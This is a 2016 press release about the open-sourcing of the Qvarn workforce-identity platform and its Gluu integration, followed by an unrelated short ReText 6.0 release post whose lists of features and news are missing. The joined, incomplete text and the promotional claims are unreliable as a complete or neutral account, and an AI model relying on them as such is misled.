The development of the open source Qvarn Platform was led by QvarnLabs CEO Kaius H ggblom (left) and CTO Lars Wirzenius. Helsinki, Finland 10.05.2016 With Privacy by Design, integrated Gluu access management and comprehensive support for regulatory data compliance, Qvarn is set to become the Europe-wide platform of choice for managing workforce identities and providing associated value-added services. Construction industry federations in Sweden, Finland and the Baltic States have been using the Qvarn Platform (http://www.qvarn.org) since October 2015 to securely manage the professional digital identities of close to one million construction workers. Developed on behalf of these same federations, Qvarn is now free and open source software; making it a compelling solution for any organization that needs to manage a secure register of workers data. "There is something universal and fundamental at the core of the Qvarn platform. And that s trust," said Qvarn evangelist Kaius H ggblom. "We decided to make it free, open source and include Gluu access management because we wanted all those using Qvarn or contributing to its continued development to have the freedom to work with the platform in whatever way is best for them." Qvarn has been designed to meet the requirements of the European Union s new General Data Protection Regulation (GDPR), enabling organizations that use the platform to ensure their compliance with the new law. Qvarn has also incorporated the principles of Privacy by Design to minimize the disclosure of non-essential personal information and to give people more control over their data. "Today, Qvarn is used by the construction industry as a way to manage the data of employees, many of whom frequently move across borders. In this way the platform helps to combat the grey economy in the building sector, thereby improving quality and safety, while simultaneously protecting the professional identity data of almost a million individuals," said H ggblom. "Qvarn is so flexible and secure that we envision it becoming the preferred platform for the provision of any value-added services with an identity management component, eventually even supporting monetary transactions." Qvarn is a cloud based solution supported to run on both Amazon Web Services (AWS) and OpenStack. In partnership with Gluu, the platform delivers an out-of-the-box solution that uses open and standard protocols to provide powerful yet flexible identity and access management, including mechanisms for appropriate authentication and authorization. "Qvarn's identity management and governance capabilities perfectly compliment the Gluu Server's access management features," said Founder and CEO of Gluu, Michael Schwartz. "Free open source software (FOSS) is essential to the future of identity and access management. And the FOSS development methodology provides the transparency that is needed to foster the strong sense of community upon which a vibrant ecosystem thrives." Qvarn s development team continues to be led by recognized open source developer and platform architect Lars Wirzenius. He has been developing free and open source software for 30 years and is a renowned expert in the Linux environment, with a particular focus on the Debian distribution. Lars works at all levels of software development from writing code to designing system architecture. About the Qvarn Platform: The Qvarn Platform is free and open source software for managing workforce identities. Qvarn is integrated with the Gluu Server s access management features out of the box, using open and standard protocols to provide the platform with a single common digital identity and mechanisms for appropriate authentication and authorization. A cloud based solution, Qvarn is supported to run on both Amazon Web Services (AWS) and OpenStack. Privacy by Design is central to the architecture of Qvarn and the platform has been third party audited to a security level of HIGH. http://www.qvarn.org For more information, please contact:
Andrew Flowers
andrew.flowers@ellisnichol.com
+358 40 161 5668

Dmitry Shachnev: ReText 6.0 and PyMarkups 2.0 released

Today I have released the new major version of the ReText editor. This release would not be possible without Maurice van der Pot who was the author of the greatest features because of which the version number was bumped: Other news worth mentioning are: As usual, some bugs have been fixed (most of fixes have also been backported to 5.3.1 release), and some translations have been updated from Transifex. Please report any bugs you find to our issue tracker.

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